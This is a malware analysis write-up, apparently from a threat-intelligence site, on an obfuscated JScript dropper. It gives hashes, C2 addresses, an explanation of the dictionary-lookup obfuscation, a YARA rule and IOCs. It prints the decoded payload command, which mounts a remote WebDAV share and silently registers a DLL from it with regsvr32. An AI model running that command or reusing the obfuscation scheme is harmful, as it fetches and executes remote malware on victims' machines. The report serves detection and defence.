unclassified-js-webdav-dropper: fe261d49 — 1,794-char extreme variable-name padding dictionary variant

Sixty-eighth confirmed sibling. JScript dictionary lookup-table obfuscation with the longest observed variable name in the family (1,794 characters, second only to the 2,478-char record held by f8dce7df). WebDAV C2 94.159.113.79:8888, payload 104991735930401.dll, regsvr32 /s execution, PowerShell -EncodedCommand wrapper. Static-only (JScript, not a binary).

What It Is

• File: fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21.bin (delivered as .js or .jse)
• Type: ASCII text, single-line JScript with very long lines ^[file.txt]
• Size: 2,145 bytes (one of the largest JScript variants in the family)
• SHA-256: fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21
• Family: unclassified-js-webdav-dropper (sixty-eighth confirmed sibling)
• Triage verdict: Malicious — JScript dropper leading to WebDAV DLL registration

How It Works

Obfuscation Engine

The script uses a 62-entry dictionary lookup table with extreme variable-name padding:

1. Array declaration: var nmmnzgqltjbz...nippy=[]; — a 1,794-character lowercase random-alphabet variable name ^[strings.txt:1]
2. Dictionary population: 62 assignments mapping random noise keys (2224-character strings) to single characters: a-z, A-Z, 0-9 ^[strings.txt:2-63]
3. Payload assembly: Function(''+array['key1']+array['key2']+...+'=='+'',0,false); — concatenates 410 ordered dictionary lookups into a Base64 string, then decodes via the Function constructor ^[strings.txt:64]

The deobfuscated payload is a UTF-16LE PowerShell command:

timeout 1;cmd /c net use \\94.159.113.79@8888\davwwwroot\;cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\104991735930401.dll

Execution Chain

C2 Infrastructure

• C2 IP: 94.159.113.79:8888 (WebDAV over HTTP)
• Payload path: \\94.159.113.79@8888\davwwwroot\104991735930401.dll
• Mount path: \\94.159.113.79@8888\davwwwroot\
• Network protocol: WebDAV/HTTP (T1071.001) ^[strings.txt]

This IP falls in the 94.159.113.x subnet previously observed with siblings f8dce7df (94.159.113.82:8888), fa8c6d74 (94.159.113.204:8888), and fbdd83ad (94.159.113.84:8888).

Interesting Tidbits

• Extreme variable-name padding: The 1,794-character array name is the second-longest observed in the family, just under the 2,478-character record held by f8dce7df. This padding serves no functional purpose — it is purely anti-static noise. ^[strings.txt:1]
• Dictionary key length: Individual dictionary keys are 2,224 characters long (random lowercase noise), making this the most verbose key set in the family. ^[strings.txt:2]
• Payload filename: 104991735930401.dll follows the 14-15 digit numeric pattern consistent with the 94.159.113.x subnet cluster (compare: 13924273943322.dll from f8dce7df).
• PowerShell wrapper: Unlike the 45.9.74.36:8888 noise-key variants (e.g., a435a37b, aa8ff8b9) which omit PowerShell, this sample uses the -EncodedCommand wrapper, aligning it with the dailywebstats.com and cloudslimit.com clusters rather than the minimal 45.9.74.36:8888 noise-key cluster.
• No decoy: No wordpad launch, no color f0 screen change, no nested try/catch blocks — pure execution without distractions.
• No sandbox gate: No aspnet_compiler, no GetTickCount, no PathFileExists checks — fires unconditionally.
• Single-line format: The entire script is one line terminated with a newline, unlike multi-line batch/polyglot variants. This is the standard format for JScript-only dictionary variants.

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_Fe261d49 {
    meta:
        description = "JScript WebDAV dropper with extreme variable-name padding and 62-entry dictionary obfuscation"
        author = "PacketPursuit"
        date = "2026-07-15"
        hash = "fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21"
        family = "unclassified-js-webdav-dropper"
    strings:
        $a1 = /var\s+[a-z]{1000,2000}=\[\]/
        $a2 = /\['[a-z]{2000,2500}'\]\s*=\s*'[a-z0-9A-Z]'/
        $b1 = "Function(''"
        $b2 = "+'='+'='+ '',0,false);"
        $c1 = "WScript"
        $c2 = "CreateObject"
        $c3 = "davwwwroot"
    condition:
        filesize < 5KB and
        ($a1 or $a2) and
        $b1 and $b2 and
        2 of ($c*)
}

Behavioral Fingerprint

This script deobfuscates a PowerShell command via a 62-entry dictionary lookup table with extreme variable-name padding (1,000+ character identifiers). The deobfuscated payload mounts a WebDAV share via net use \\<IP>@8888\davwwwroot\ and silently registers a remote DLL via regsvr32 /s. The PowerShell wrapper uses -EncodedCommand with a UTF-16LE Base64 payload. No sandbox gates, no decoy applications, no persistence — a one-shot execution chain typical of this family's JScript dictionary variants.

IOCs

Detection Signatures

References

• unclassified-js-webdav-dropper — Family entity page (sixty-seven prior siblings documented)
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• Sibling f8dce7df — Prior record-holder for extreme variable-name padding (2,478 chars) ^[/intel/analyses/f8dce7df01e67193715270902da32b193a7497b5ad82d8e8721516ed6654fd5d.html]
• Sibling fbdd83ad — First 100-entry dictionary variant, same 94.159.113.x subnet ^[/intel/analyses/fbdd83ad649b5e90df9910f67eee3db9502bf63ccc0b958c10d8ade1d839d2f8.html]

Provenance

• file.txt — file(1) output: "ASCII text, with very long lines (65536), with no line terminators"
• strings.txt — raw JScript source with 62 dictionary assignments and Function constructor payload
• triage.json — triage pipeline metadata
• Deobfuscation performed via Python regex extraction of dictionary keys and ordered array references
• Base64 payload decoded to UTF-16LE PowerShell command
• No dynamic analysis (CAPE skipped — no Windows guest available)